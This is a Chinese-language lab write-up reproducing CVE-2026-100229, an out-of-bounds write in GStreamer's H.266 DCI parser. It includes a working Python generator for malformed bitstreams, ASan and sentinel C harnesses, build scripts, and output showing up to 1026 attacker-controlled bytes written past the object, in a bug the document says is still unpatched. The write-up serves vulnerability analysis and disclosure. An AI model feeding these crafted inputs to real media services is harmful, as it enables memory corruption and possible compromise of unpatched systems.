CVE-2026-100229 GStreamer H.266 DCI 越界写复现分析
2026-11-11 07:17:3 Author: xz.aliyun.com(查看原文) 阅读量:0 收藏

解析 H.266 码流时,DCI 里那个 4 bit 的 num_ptls_minus1 只要填成保留值 15,GStreamer 1.28.8 就会在结构体末尾之外写入最多 1026 字节;官方描述里也写明标准管线走不到这段代码,所以至今没有补丁。

一、漏洞说明

1、漏洞本身

出问题的是 gst-plugins-bad 里的 libgstcodecparsers,具体函数 gst_h266_parser_parse_dci()。它解析 H.266 的 DCI(解码能力信息,NAL 类型 13)时,先读 4 bit 的 num_ptls_minus1,再按这个值循环解析同样数量的 profile_tier_level 结构。字段只有 4 bit,合法取值 0–14,15 是保留值,代码却把上限校验写成 15。保留值被放行后,循环多跑一次,第 16 个元素写到数组末尾之外。

函数定义在 subprojects/gst-plugins-bad/gst-libs/gst/codecparsers/gsth266parser.c:4774

上游源码 gsth266parser.c#L4774

GstH266ParserResult
gst_h266_parser_parse_dci (GstH266Parser * parser,
    GstH266NalUnit * nalu, GstH266DCI * dci)      // 解析 DCI,NAL 类型 13
{
  NalReader nr;
  guint8 dci_reserved_zero_4bits;
  guint i;

  GST_LOG ("parsing Decoding Capability Information");   // 仅日志

  nal_reader_init (&nr, nalu->data + nalu->offset + nalu->header_bytes,
      nalu->size - nalu->header_bytes);                  // 读指针跳过 NAL 头

  memset (dci, 0, sizeof (*dci));                        // 调用方结构体先清零

  READ_UINT8 (&nr, dci_reserved_zero_4bits, 4);          // u(4) 保留位,读完即丢
  READ_UINT8 (&nr, dci->num_ptls_minus1, 4);             // u(4) PTL 数减一,合法 0..14
  CHECK_ALLOWED_MAX (dci->num_ptls_minus1, 15);          // 上限错写成 15,保留值 15 被放行
  for (i = 0; i <= dci->num_ptls_minus1; i++) {          // i 可取到 15,数组下标只到 14
    if (!gst_h266_parse_profile_tier_level (&dci->profile_tier_level[i],
            &nr, 1, 0))                                  // 第 16 个元素落在数组之外
      goto error;
  }

  READ_UINT8 (&nr, dci->extension_flag, 1);              // u(1) 扩展标志
  if (dci->extension_flag)
    GST_WARNING ("extension_flag not supported. Ignoring extension data.");

  return GST_H266_PARSER_OK;

error:
  GST_WARNING ("error parsing \"Decoding Capability Information\"");
  return GST_H266_PARSER_ERROR;
}

编号 CVE-2026-100229,类型是越界写,CWE-787。CVSS 3.1 为 6.5 Medium,向量 AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:L,2026-10-14 披露。原始描述与评分见 NVD,编号记录见 CVE 记录。

按 NVD 的向量,攻击者不需要认证,也不需要用户交互,只要能交给目标程序一段 H.266 数据。真正决定风险大小的,是程序有没有直接调用这个解析 API。

2、受影响的版本与修复状态

截至 2026-11-11,没有任何已发布的修复版本。各发行版状态取自 Debian 安全跟踪页。

发行版

版本

状态

bookworm

1.22.0-4+deb12u7

vulnerable

bookworm (security)

1.22.0-4+deb12u8

vulnerable

trixie / trixie (security)

1.26.2-3+deb13u3

vulnerable

forky

1.28.8-1

vulnerable

sid

1.28.9-1

vulnerable

source

—

unfixed

同一个编号在 Ubuntu、SUSE、Red Hat Bugzilla 2541471、GHSA-8g53-2c85-3xhf、ENISA EUVD 都有条目,都没有已发布的修复版本:Ubuntu 各发行版一律停在 Needs evaluation;SUSE 把 SLE 16.0 / 16.1、openSUSE Leap 16.0 / 16.1 标为 Affected,15 SP7 及更早标为 Not affected;Bugzilla 状态是 NEW,GHSA 与 EUVD 只给出 6.5 Medium 的描述与评分,没有 patched 版本。

头文件里 GstH266DCI 标着 Since: 1.26,profile_tier_level 数组容量是 15;1.22 源码包里的 gsth266parser.c 还没有 parse_dci,所以 1.22 的老包只是按整包标记受影响,属于包级粗判,真正带缺陷代码的是 1.26 及以后。实验用的 1.28.8 比 sid 的 1.28.9-1 早一个小版本,缺陷同样存在,源码包从 GStreamer 发布目录 取。

二、影响组件与攻击面

1、组件定位

codecparsers 是 gst-plugins-bad 里的一套纯 C 码流语法解析库,负责把 H.264、H.265、H.266、AV1 的码流读成结构体,不处理容器也不解码。使用它的是链接这个库的程序,媒体分析工具、转码与转封装服务、内容审核系统、取证平台、自研播放内核都有可能是调用方。

和插件型漏洞不同,这里的攻击面不在管线元素,而在被直接调用的公开 API 上。受影响的是自己写了 NAL 遍历逻辑、把外部数据送进 parse_dci 的程序。

2、攻击面

攻击面取决于谁会处理不可信的 H.266 数据。可能把外部数据喂进 codecparsers 的场景有这么几类。

  • 用户上传的视频、切片与缩略图生成服务

  • 转码、转封装、码流合规校验等后台任务

  • 邮件、IM、论坛附件中的媒体文件预处理

  • 爬虫抓取或第三方同步来的媒体资源

  • 硬盘录像机、编码器、摄像头等设备的码流接入与格式识别

  • 取证、审核、沙箱系统对样本的自动分析

前提是这些程序把 NAL 逐个遍历并调用 parse_dci。只调 gst_h266_parser_parse_nal()、或者走标准管线的,不受影响。

3、触发条件

一个 NAL、一次调用就够,不用拼多帧,也不用铺垫状态机。唯一的门槛是宿主会不会调用这个 API。

三、危害

1、越界写落在什么地方

  • 写入位置在对象之后。堆对象时写在 GstH266DCI 后面,栈对象时写在栈帧里该变量的上界之后。

  • 起点固定。第 16 个元素从 dci + 17824 开始,出界点在 dci + 17828。

  • 写入内容由位流决定。tier_flag、level_idc、general_constraints_info、sub_profile_idc 都按语法元素原样写入,填 0x11223344 后能逐字节读回。

  • 越界长度随标志位变化,三个样本分别写入 6、72、1026 字节,最远触到对象后面 1176 字节的位置。标志位为 0 的字段整段跳过,写入并不连续,只有 sub_profile_idc 那一段按 32 位、每次 4 字节铺开。

  • 附带影响:元素 [15] 的前 4 字节仍落在对象内部,会覆盖 extension_flag 与 extension_data_flag。

2、攻击者能拿到的效果

最直接的是内存破坏。写入起点固定在对象尾,内容由位流原样决定,主干按 32 位整数连写,这三项都在攻击者掌控之内,相邻对象的头部或指针字段就落在可写范围里。一旦写坏的是之后会被解引用的指针,影响能扩大到任意地址读写。把这一步做实需要目标程序的对象布局与生命周期配合,具体形态随宿主而异,实验环境没有继续往后推。

即使不做利用,后果也已经存在。

  • 崩溃。相邻对象被踩坏后在使用时崩溃,或者写穿整块触发堆检测。

  • 解析状态被改。extension_flag 被覆盖后,调用方按这个字段做的判断可能与实际码流不符,导致后续解析越界或漏判。

  • 静默破坏。不开内存检测时解析返回 PARSER_OK,对象后面已经被写了 6–1026 字节,进程可能几小时不崩,只在后面某次分配或释放时冒出来。

三者里最难处理的是最后一种。它打破了“解析成功即输入合法”这个常见假设,而且异常现场离真正的触发点很远,事后定位要往回追很久。

3、最坏情况的边界

这个洞没法脱离宿主直接打穿任意进程:攻击者先要让目标读到自己的 H.266 数据,还得目标自己调用 parse_dci,标准管线和 playbin 都走不到这里。因此它在真实场景里更接近“给特定解析链路埋一个内容可控的越界写”,而非“装上 GStreamer 就会被打”。

反过来看,凡是自己写 NAL 遍历逻辑的媒体服务,这段代码就在输入路径上,而且解析发生在解码之前。攻击者不需要构造能解码的完整视频,一个几十字节的 NAL 就能触发,门槛比常规媒体漏洞低得多。

四、复现过程

1、目录结构

~/lab/CVE-2026-100229/
├── gst-plugins-bad-1.28.8.tar.xz      # 离线源码包 8,355,328 B
├── gst-plugins-bad-1.28.8/            # 含缺陷源码树
├── gst-plugins-bad-1.28.8-patched/    # 施加建议补丁后的源码副本
├── gen_payloads.py                    # 畸形 DCI 位流生成器
├── poc_dci.c                          # ASan harness
├── poc_sentinel.c                     # 哨兵 harness,量化越界深度
├── dci_len.bin / dci_annexb.bin / dci_len_gci.bin / dci_ok14.bin / dci_deep.bin
├── 00_setup.sh                        # 解压源码 + 生成样本
├── 01_build_vuln.sh                   # 编译两个 harness
├── 02_run_vuln.sh                     # 6 个触发与量化用例
├── 03_build_patched.sh                # 复制源码 + 施加建议补丁 + 编译对照 harness
├── 04_run_patched.sh                  # 4 个对照用例
├── poc_dci / poc_sentinel / poc_dci_patched
└── run_vuln.log / run_patched.log

2、环境

uname -r
gcc -dumpfullversion
pkg-config --modversion gstreamer-1.0
grep -m1 -n '^  version' ~/lab/CVE-2026-100229/gst-plugins-bad-1.28.8/meson.build
6.19.11+kali-amd64
15.2.0
1.28.8
2:  version : '1.28.8',

3、样本

cd ~/lab/CVE-2026-100229
bash 00_setup.sh

样本

大小

num_ptls_minus1

布局

用途

dci_len.bin

72 B

15

length

最简畸形流,每块 PTL 只写必需字段

dci_annexb.bin

77 B

15

Annex-B

同内容换起始码,验证布局无关

dci_len_gci.bin

232 B

15

length

打开 general_constraints_info,填满中段

dci_ok14.bin

68 B

14

length

合法边界,验证这一改动不会误杀正常流

dci_deep.bin

16392 B

15

length

每块 PTL 带 num_sub_profiles = 255,压最大深度

决定触发与否的开关只有 DCI 开头那一个字节:前 4 bit 填 0 给 dci_reserved_zero_4bits,后 4 bit 填 0xF,拼起来就是 0x0F;样本之间的差异只影响越界深度。

00_setup.sh

#!/usr/bin/env bash
# 00_setup.sh —— 解压源码、生成畸形 DCI 样本
set -euo pipefail
LAB=${LAB:-$HOME/lab/CVE-2026-100229}
cd "$LAB"

SRC_TAR=gst-plugins-bad-1.28.8.tar.xz
SRC_DIR=gst-plugins-bad-1.28.8

[ -f "$SRC_TAR" ] || { echo "[-] 缺少源码包 $SRC_TAR"; exit 1; }

[ -d "$SRC_DIR" ] || tar -xf "$SRC_TAR" -C .

python3 gen_payloads.py

gen_payloads.py

#!/usr/bin/env python3
"""CVE-2026-100229 畸形 DCI 样本生成器

DCI RBSP 布局(H.266 7.3.2.5):
    dci_reserved_zero_4bits  u(4)
    num_ptls_minus1          u(4)    合法 0..14,15 为保留值 —— 即本漏洞入口
    profile_tier_level()     × (num_ptls_minus1 + 1)

样本:
    dci_len.bin        length-prefixed(vvcC/MP4 布局),num_ptls_minus1=15,PTL 不含 GCI
    dci_annexb.bin     Annex-B 裸流,同上
    dci_len_gci.bin    length-prefixed,PTL 含 general_constraints_info(放大覆盖)
    dci_ok14.bin       合法边界样本 num_ptls_minus1=14,用于验证建议补丁的回归对照
    dci_deep.bin       16 个 PTL 且每块 num_sub_profiles=255、sub_profile_idc 填
                       0x11223344,用于压出越界写深度并证明写入内容可控
"""
import os

HERE = os.path.dirname(os.path.abspath(__file__))
OUT = HERE
NAL_DCI = 13

def bits(pairs):
    return "".join(format(v, "0%db" % n) for v, n in pairs)

def pack(b):
    while len(b) % 8:
        b += "0"
    return bytes(int(b[i:i + 8], 2) for i in range(0, len(b), 8))

def profile_tier_level(profile_idc=1, tier=0, level_idc=51,
                       frame_only=1, multilayer=0, with_gci=False,
                       num_sub_profiles=0, sub_profile_value=0):
    """profile_tier_level(profileTierPresentFlag=1, maxNumSubLayersMinus1=0)"""
    b = bits([(profile_idc, 7), (tier, 1), (level_idc, 8),
              (frame_only, 1), (multilayer, 1)])
    b += "1" if with_gci else "0"          # general_constraints_info_present_flag
    if with_gci:
        b += bits([(0, 1), (0, 1), (0, 1)])          # intra_only / all_layers_independent / one_au_only
        b += bits([(0, 4), (0, 2)])                  # bitdepth idc <= 8, chroma idc 4:2:0
        b += "0" * 10                                 # nalu-type constraint flags
        b += "0" * 6                                  # tile/slice/subpic flags
        b += bits([(0, 2), (0, 1), (0, 1), (0, 1)])   # ctu size idc, partition override, mtt, dualtree
        b += "0" * 6                                  # intra tool flags
        b += "0" * 16                                 # inter tool flags
        b += "0" * 13                                 # transform/quant flags
        b += "0" * 6                                  # loop filter flags
        b += format(0, "08b")                         # num_additional_bits
    # 解析端会先跳过 reserved_zero_bits 到字节对齐,再读 num_sub_profiles
    while len(b) % 8:
        b += "0"
    b += format(num_sub_profiles, "08b")              # num_sub_profiles
    b += format(sub_profile_value & 0xFFFFFFFF, "032b") * num_sub_profiles  # sub_profile_idc[i],u(32)
    return pack(b)

def build(num_ptls_minus1, with_gci=False, layout="length", num_sub_profiles=0,
          sub_profile_value=0):
    ptl = profile_tier_level(with_gci=with_gci, num_sub_profiles=num_sub_profiles,
                            sub_profile_value=sub_profile_value)
    rbsp = bytes([num_ptls_minus1 & 0x0F])
    rbsp += ptl * (num_ptls_minus1 + 1)
    rbsp += b"\x00"                                    # rbsp_trailing_bits
    header = bytes([0x00, (NAL_DCI << 3) | 0x01])       # forbidden_zero_bit | nal_unit_type | nuh_temporal_id_plus1
    nal = header + rbsp
    if layout == "length":
        return len(nal).to_bytes(4, "big") + nal
    aud = bytes([0x00, (20 << 3) | 0x01, 0x00])         # AUD,仅用于让 Annex-B 识别 NAL 结尾
    return b"\x00\x00\x01" + nal + b"\x00\x00\x01" + aud

def main():
    os.makedirs(OUT, exist_ok=True)
    samples = [
        ("dci_len.bin", 15, False, "length", 0),
        ("dci_annexb.bin", 15, False, "annexb", 0),
        ("dci_len_gci.bin", 15, True, "length", 0),
        ("dci_ok14.bin", 14, False, "length", 0),
        ("dci_deep.bin", 15, False, "length", 255),
    ]
    for name, num, gci, layout, nsub in samples:
        blob = build(num, with_gci=gci, layout=layout, num_sub_profiles=nsub,
                     sub_profile_value=0x11223344)
        with open(os.path.join(OUT, name), "wb") as f:
            f.write(blob)
        print("[+] %-16s %6d bytes  num_ptls_minus1=%-2d  %-15s PTL含GCI=%s  PTL内sub_profile=%d"
              % (name, len(blob), num, layout, "是" if gci else "否", nsub))

if __name__ == "__main__":
    main()

4、harness 与编译

poc_dci.c 只做三件事:读文件、用 identify_nalu*() 定位 NAL、调用 gst_h266_parser_parse_dci()。第一个参数是样本文件,第二个可选 heap 或 stack 指定对象位置,默认走 g_new0(poc_dci.c:101),选 stack 时用 47 行声明的栈变量;第三个可选 length 或 annexb 指定输入布局,默认 length。

/* CVE-2026-100229: GStreamer H.266 DCI parser OOB write PoC
 *
 * 模拟"直接调用 libgstcodecparsers 公开 API 的第三方应用",读入一段 VVC DCI
 * NAL(Annex-B 裸流,或 vvcC/MP4 中 length-prefixed 的 sample),交给
 * gst_h266_parser_parse_dci() 解析。
 */
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

#include <gst/gst.h>
#include "gsth266parser.h"

static guint8 *read_file (const char *path, long *out_size)
{
  FILE *f = fopen (path, "rb");
  guint8 *buf;
  long sz;

  if (!f) {
    perror ("fopen");
    return NULL;
  }
  fseek (f, 0, SEEK_END);
  sz = ftell (f);
  fseek (f, 0, SEEK_SET);
  buf = malloc (sz);
  if (fread (buf, 1, sz, f) != (size_t) sz)
    fprintf (stderr, "short read\n");
  fclose (f);
  *out_size = sz;
  return buf;
}

int
main (int argc, char **argv)
{
  const char *path;
  const char *mode;
  const char *layout;
  guint8 *data;
  long size;
  GstH266Parser *parser;
  GstH266NalUnit nalu;
  GstH266ParserResult res;
  GstH266DCI *heap_dci = NULL;
  GstH266DCI stack_dci;

  if (argc < 2) {
    fprintf (stderr, "usage: %s <dci.bin> [heap|stack] [length|annexb]\n",
        argv[0]);
    return 2;
  }
  path = argv[1];
  mode = (argc > 2) ? argv[2] : "heap";
  layout = (argc > 3) ? argv[3] : "length";

  /* 行缓冲被 abort() 丢弃会看不到上下文,改为无缓冲 */
  setvbuf (stdout, NULL, _IONBF, 0);

  gst_init (&argc, &argv);

  data = read_file (path, &size);
  if (!data)
    return 1;
  printf ("[*] input: %s (%ld bytes), layout=%s, alloc=%s\n", path, size,
      layout, mode);

  parser = gst_h266_parser_new ();

  memset (&nalu, 0, sizeof (nalu));
  if (g_strcmp0 (layout, "annexb") == 0) {
    res = gst_h266_parser_identify_nalu (parser, data, 0, size, &nalu);
  } else {
    res = gst_h266_parser_identify_nalu_vvc (parser, data, 0, size, 4, &nalu);
  }
  printf ("[*] identify NAL -> %d (type=%u layer_id=%u tid=%u offset=%u "
      "size=%u header_bytes=%u)\n", res, nalu.type, nalu.layer_id,
      nalu.temporal_id_plus1, nalu.offset, nalu.size, nalu.header_bytes);
  if (res != GST_H266_PARSER_OK) {
    fprintf (stderr, "[-] failed to identify NAL unit\n");
    return 1;
  }
  if (nalu.type != GST_H266_NAL_DCI) {
    fprintf (stderr, "[-] NAL type %u is not DCI\n", nalu.type);
    return 1;
  }

  printf ("[*] sizeof(GstH266DCI)=%zu sizeof(GstH266ProfileTierLevel)=%zu "
      "ptl[] capacity=%zu entries\n", sizeof (GstH266DCI),
      sizeof (GstH266ProfileTierLevel),
      sizeof (stack_dci.profile_tier_level) /
      sizeof (stack_dci.profile_tier_level[0]));

  if (g_strcmp0 (mode, "stack") == 0) {
    memset (&stack_dci, 0x41, sizeof (stack_dci));
    res = gst_h266_parser_parse_dci (parser, &nalu, &stack_dci);
    printf ("[*] parse_dci -> %d, num_ptls_minus1=%u\n", res,
        stack_dci.num_ptls_minus1);
  } else {
    heap_dci = g_new0 (GstH266DCI, 1);
    res = gst_h266_parser_parse_dci (parser, &nalu, heap_dci);
    printf ("[*] parse_dci -> %d, num_ptls_minus1=%u\n", res,
        heap_dci->num_ptls_minus1);
    g_free (heap_dci);
  }

  gst_h266_parser_free (parser);
  free (data);
  printf ("[+] done (no sanitizer report)\n");
  return 0;
}

poc_sentinel.c 只接受文件名,把 GstH266DCI 放在 sizeof(GstH266DCI) + 16 KB 块的开头,尾部铺 0xAA 哨兵,解析返回后统计被改动的字节数与最远偏移。这里不开 ASan,是因为它在第一次越界时就中断,量不到深度。

/* CVE-2026-100229: 量化越界写(哨兵法)
 *
 * 把 GstH266DCI 放在更大分配块的头部,尾部填充 0xAA 哨兵;解析返回后统计
 * sizeof(GstH266DCI) 之后有多少字节被改写、最大偏移多远。此处刻意不开 ASan,
 * 以便让越界写真正完成。
 */
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

#include <gst/gst.h>
#include "gsth266parser.h"

#define TAIL 16384

int
main (int argc, char **argv)
{
  const char *path;
  guint8 *data;
  long size;
  guint8 *mem;
  size_t n;
  GstH266Parser *parser;
  GstH266NalUnit nalu;
  GstH266ParserResult res;
  GstH266DCI *dci;
  size_t i, first = (size_t) -1, last = 0, count = 0;

  if (argc < 2) {
    fprintf (stderr, "usage: %s <dci.bin>\n", argv[0]);
    return 2;
  }
  path = argv[1];

  /* 行缓冲被 abort() 丢弃会看不到上下文,改为无缓冲 */
  setvbuf (stdout, NULL, _IONBF, 0);

  gst_init (&argc, &argv);

  {
    FILE *f = fopen (path, "rb");
    if (!f) {
      perror ("fopen");
      return 1;
    }
    fseek (f, 0, SEEK_END);
    size = ftell (f);
    fseek (f, 0, SEEK_SET);
    data = malloc (size);
    if (fread (data, 1, size, f) != (size_t) size)
      fprintf (stderr, "short read\n");
    fclose (f);
  }

  parser = gst_h266_parser_new ();
  memset (&nalu, 0, sizeof (nalu));
  res = gst_h266_parser_identify_nalu_vvc (parser, data, 0, size, 4, &nalu);
  if (res != GST_H266_PARSER_OK) {
    fprintf (stderr, "[-] identify failed: %d\n", res);
    return 1;
  }

  n = sizeof (GstH266DCI);
  printf ("[*] sizeof(GstH266DCI) = %zu\n", n);
  printf ("[*] sizeof(GstH266ProfileTierLevel) = %zu, "
      "profile_tier_level[15] covers [%zu, %zu) bytes\n",
      sizeof (GstH266ProfileTierLevel), n - sizeof (GstH266ProfileTierLevel),
      n);
  printf ("[*] num_ptls_minus1 = 15 asks for element #15 -> [%zu, %zu)\n",
      n, n + sizeof (GstH266ProfileTierLevel));

  if (posix_memalign ((void **) &mem, 64, n + TAIL) != 0) {
    fprintf (stderr, "alloc failed\n");
    return 1;
  }
  memset (mem, 0xAA, n + TAIL);
  dci = (GstH266DCI *) mem;

  res = gst_h266_parser_parse_dci (parser, &nalu, dci);
  printf ("[*] parse_dci -> %d, num_ptls_minus1 read back = %u\n", res,
      dci->num_ptls_minus1);

  for (i = 0; i < TAIL; i++) {
    if (mem[n + i] != 0xAA) {
      if (first == (size_t) -1)
        first = i;
      last = i;
      count++;
    }
  }

  if (count == 0) {
    printf ("[+] no byte written past sizeof(GstH266DCI)\n");
  } else {
    printf ("[!] wrote past the end of GstH266DCI: %zu bytes touched, "
        "range [%zu, %zu] (i.e. up to %zu bytes beyond the object)\n",
        count, first, last, last + 1);
    printf ("[!] overwrite begins at dci + %zu == &dci->profile_tier_level[15]"
        " (%s)\n", first,
        first == n ? "exact start of element #15" : "check offset");

    {
      size_t k, off = first;
      printf ("[!] dump past-object bytes at offset %zu..%zu (16 B):",
          off, off + 15 > last ? last : off + 15);
      for (k = off; k <= last && k < off + 16; k++)
        printf ("%s%02x", (k % 16 == 0) ? "\n    " : " ", mem[n + k]);
      printf ("\n");
      if (last > off + 15) {
        off = last > 15 ? last - 15 : 0;
        printf ("[!] dump past-object bytes at offset %zu..%zu (tail 16 B):",
            off, last);
        for (k = off; k <= last; k++)
          printf ("%s%02x", (k % 16 == 0) ? "\n    " : " ", mem[n + k]);
        printf ("\n");
      }
    }
  }

  gst_h266_parser_free (parser);
  free (data);
  free (mem);
  return 0;
}
cd ~/lab/CVE-2026-100229
bash 01_build_vuln.sh
ls -l poc_dci poc_sentinel

01_build_vuln.sh 用同一份源码编译两个 harness,ASan 版额外加 -fsanitize=address。

#!/usr/bin/env bash
# 01_build_vuln.sh —— 基于官方 1.28.8 原始源码,编译 ASan 版与哨兵版 PoC
set -euo pipefail
LAB=${LAB:-$HOME/lab/CVE-2026-100229}
cd "$LAB"

GSTLIB=gst-plugins-bad-1.28.8/gst-libs
SRC=$GSTLIB/gst/codecparsers
CFLAGS="-g -O0 -fno-omit-frame-pointer -DGST_USE_UNSTABLE_API -I$SRC -I$GSTLIB"
LIBS="$(pkg-config --cflags --libs gstreamer-1.0 gstreamer-base-1.0)"
COMMON="$SRC/gsth266parser.c $SRC/nalutils.c"

gcc $CFLAGS -fsanitize=address poc_dci.c $COMMON $LIBS -o poc_dci
gcc $CFLAGS poc_sentinel.c $COMMON $LIBS -o poc_sentinel

5、ASan 抓到越界

cd ~/lab/CVE-2026-100229
bash 02_run_vuln.sh

用例 1 用堆对象,输入是 length 前缀布局。

0 bytes after 17828-byte region 说明写入地址正好等于 sizeof(GstH266DCI)

用例 2 换成 Annex-B 裸流。

./poc_dci dci_annexb.bin heap annexb

同样报 heap-buffer-overflow,区别只在 layout=annexb,两种布局等价触发。

用例 3 把对象放在栈上。

./poc_dci dci_len.bin stack length

[208, 18036) 是 17828 字节对象在栈帧里的范围,越界点 18036 正好是上界。

三个用例都触发了越界。

grep -c 'ERROR: AddressSanitizer' run_vuln.log

6 个用例由 02_run_vuln.sh 串行执行,逐条写进 run_vuln.log。

#!/usr/bin/env bash
# 02_run_vuln.sh —— 在官方 1.28.8 原始源码上触发越界写
set -uo pipefail
LAB=${LAB:-$HOME/lab/CVE-2026-100229}
cd "$LAB"

export ASAN_OPTIONS=detect_leaks=0:abort_on_error=0
LOG=run_vuln.log
: > "$LOG"

run () {
  echo "===== $* =====" | tee -a "$LOG"
  "$@" 2>&1 | tee -a "$LOG"
  echo "[exit=$?]" | tee -a "$LOG"
  echo | tee -a "$LOG"
}

run ./poc_dci dci_len.bin heap length
run ./poc_dci dci_annexb.bin heap annexb
run ./poc_dci dci_len.bin stack length
run ./poc_sentinel dci_len.bin
run ./poc_sentinel dci_len_gci.bin
run ./poc_sentinel dci_deep.bin

6、越界有多深

cd ~/lab/CVE-2026-100229
./poc_sentinel dci_len.bin
./poc_sentinel dci_len_gci.bin
./poc_sentinel dci_deep.bin

dci_len.bin 与 dci_deep.bin 的输出:

[*] sizeof(GstH266DCI) = 17828
[*] sizeof(GstH266ProfileTierLevel) = 1188, profile_tier_level[15] covers [16640, 17828) bytes
[*] num_ptls_minus1 = 15 asks for element #15 -> [17828, 19016)
[*] parse_dci -> 0, num_ptls_minus1 read back = 15
[!] wrote past the end of GstH266DCI: 6 bytes touched, range [0, 153] (i.e. up to 154 bytes beyond the object)
[!] overwrite begins at dci + 0 == &dci->profile_tier_level[15] (check offset)
[!] dump past-object bytes at offset 0..15 (16 B):
    00 33 01 00 00 aa aa aa aa aa aa aa aa aa aa aa
[!] dump past-object bytes at offset 138..153 (tail 16 B): aa aa aa aa aa aa
    aa aa aa aa aa aa aa aa aa 00

[*] sizeof(GstH266DCI) = 17828
[*] sizeof(GstH266ProfileTierLevel) = 1188, profile_tier_level[15] covers [16640, 17828) bytes
[*] num_ptls_minus1 = 15 asks for element #15 -> [17828, 19016)
[*] parse_dci -> 0, num_ptls_minus1 read back = 15
[!] wrote past the end of GstH266DCI: 1026 bytes touched, range [0, 1175] (i.e. up to 1176 bytes beyond the object)
[!] overwrite begins at dci + 0 == &dci->profile_tier_level[15] (check offset)
[!] dump past-object bytes at offset 0..15 (16 B):
    00 33 01 00 00 aa aa aa aa aa aa aa aa aa aa aa
[!] dump past-object bytes at offset 1160..1175 (tail 16 B): 44 33 22 11 44 33 22 11
    44 33 22 11 44 33 22 11

dci_len_gci.bin 的结果是 72 字节,覆盖区间同样止于偏移 153。

[!] wrote past the end of GstH266DCI: 72 bytes touched, range [0, 153] (i.e. up to 154 bytes beyond the object)

00 33 01 00 00 是越界区开头五字节,依次是 tier_flag=0、level_idc=0x33(51)、frame_only_constraint_flag=1、multilayer_enabled_flag=0、general_constraints_info_present_flag=0,全部照位流写入。num_sub_profiles 单独落在偏移 153,dci_len.bin 尾部 dump 的最后一个 00 就是它,其余 15 个 aa 是没被碰过的哨兵,正好凑成 6 字节。尾部一串 44 33 22 11 是写入的 sub_profile_idc = 0x11223344(小端),越界内容完全可控。

三例的 parse_dci -> 0 都是解析成功。此时内存已经被改,光看返回值分不出输入是否合法。

五、漏洞分析

1、DCI 的位流怎么读

按 H.266 §7.3.2.5,DCI 的 RBSP 开头很短,先是 4 bit 的 dci_reserved_zero_4bits,紧跟 4 bit 的 num_ptls_minus1,之后铺 num_ptls_minus1 + 1 个 profile_tier_level()。解析器读这两个字段用的是同一段代码,前 4 bit 丢掉,后 4 bit 存进 dci->num_ptls_minus1。

  READ_UINT8 (&nr, dci_reserved_zero_4bits, 4);
  READ_UINT8 (&nr, dci->num_ptls_minus1, 4);

字段只有 4 bit,能表示 0–15,而 H.266 规定 0–14 是有效数量、15 是保留值。攻击者把整个字节写成 0x0F,读出来的 num_ptls_minus1 就是 15。

2、校验为什么没拦住

紧接着的校验写成 CHECK_ALLOWED_MAX (dci->num_ptls_minus1, 15),展开了看它的语义。

#define CHECK_ALLOWED_MAX_WITH_DEBUG(dbg, val, max) { \
  if (val > max) { \
    GST_WARNING ("value for '" dbg "' greater than max. value: %d, max %d", \
                     val, max); \
    goto error; \
  } \
}

条件是 val > max 才报错,等号情况被放过。传进来的 max 是 15,字段取到 15 时不大于 15,校验通过,保留值一路往下走。要拦住它,max 得写 14。

3、循环多跑了一次

  CHECK_ALLOWED_MAX (dci->num_ptls_minus1, 15);          /* 4790 */
  for (i = 0; i <= dci->num_ptls_minus1; i++) {
    if (!gst_h266_parse_profile_tier_level (&dci->profile_tier_level[i],
            &nr, 1, 0))                                   /* 4792 */
      goto error;
  }

循环边界是 i <= num_ptls_minus1,所以要跑 num_ptls_minus1 + 1 次。num_ptls_minus1 为 14 时跑 15 次,正好铺满数组;为 15 时跑 16 次,第 16 次访问 profile_tier_level[15],而数组在 gsth266parser.h:2841 只有 15 个元素。

  GstH266ProfileTierLevel profile_tier_level[15];

容量 15、最大下标 14,校验上限却写成 15,边界于是往外滑了一格。

4、多出来的那次写到哪

GstH266DCI 的实际尺寸与成员偏移,用 offsetof 量一遍就清楚。两个结构体的定义在 gsth266parser.h:791 与 gsth266parser.h:2839。

struct _GstH266ProfileTierLevel {
  GstH266Profile profile_idc;
  guint8 tier_flag;
  guint8 level_idc;
  guint8 frame_only_constraint_flag;
  guint8 multilayer_enabled_flag;

  GstH266GeneralConstraintsInfo general_constraints_info;

  guint8 sublayer_level_present_flag[GST_H266_MAX_SUBLAYERS - 1];
  guint8 sublayer_level_idc[GST_H266_MAX_SUBLAYERS - 1];
  guint8 num_sub_profiles;
  GstH266Profile sub_profile_idc[GST_H266_MAX_SUB_PROFILES];

  guint8 ptl_reserved_zero_bit;
};

struct _GstH266DCI {
  guint8 num_ptls_minus1;
  GstH266ProfileTierLevel profile_tier_level[15];
  guint8 extension_flag;
  guint8 extension_data_flag;

  /* extension_data */
};
cd ~/lab/CVE-2026-100229
cat > /tmp/dci_layout.c <<'EOF'
#include <stdio.h>
#include <stddef.h>
#include <gst/gst.h>
#include "gst-libs/gst/codecparsers/gsth266parser.h"

int main (void)
{
  printf ("sizeof(GstH266DCI)                          = %zu\n", sizeof (GstH266DCI));
  printf ("sizeof(GstH266ProfileTierLevel)             = %zu\n", sizeof (GstH266ProfileTierLevel));
  printf ("sizeof(GstH266GeneralConstraintsInfo)       = %zu\n", sizeof (GstH266GeneralConstraintsInfo));
  printf ("offsetof(GstH266DCI, num_ptls_minus1)       = %zu\n", offsetof (GstH266DCI, num_ptls_minus1));
  printf ("offsetof(GstH266DCI, profile_tier_level)    = %zu\n", offsetof (GstH266DCI, profile_tier_level));
  printf ("&dci->profile_tier_level[15]                = %zu\n", offsetof (GstH266DCI, profile_tier_level) + 15 * sizeof (GstH266ProfileTierLevel));
  printf ("offsetof(GstH266DCI, extension_flag)        = %zu\n", offsetof (GstH266DCI, extension_flag));
  return 0;
}
EOF
gcc -O0 -o /tmp/dci_layout /tmp/dci_layout.c \
  -I gst-plugins-bad-1.28.8 -I gst-plugins-bad-1.28.8/gst-libs \
  $(pkg-config --cflags --libs gstreamer-1.0)
/tmp/dci_layout

编译会打出两条 unstable API 的 #warning(gsth266parser.h:26、:27),定义 GST_USE_UNSTABLE_API 可以压掉。

sizeof(GstH266DCI)                          = 17828
sizeof(GstH266ProfileTierLevel)             = 1188
sizeof(GstH266GeneralConstraintsInfo)       = 137
offsetof(GstH266DCI, num_ptls_minus1)       = 0
offsetof(GstH266DCI, profile_tier_level)    = 4
&dci->profile_tier_level[15]                = 17824
offsetof(GstH266DCI, extension_flag)        = 17824

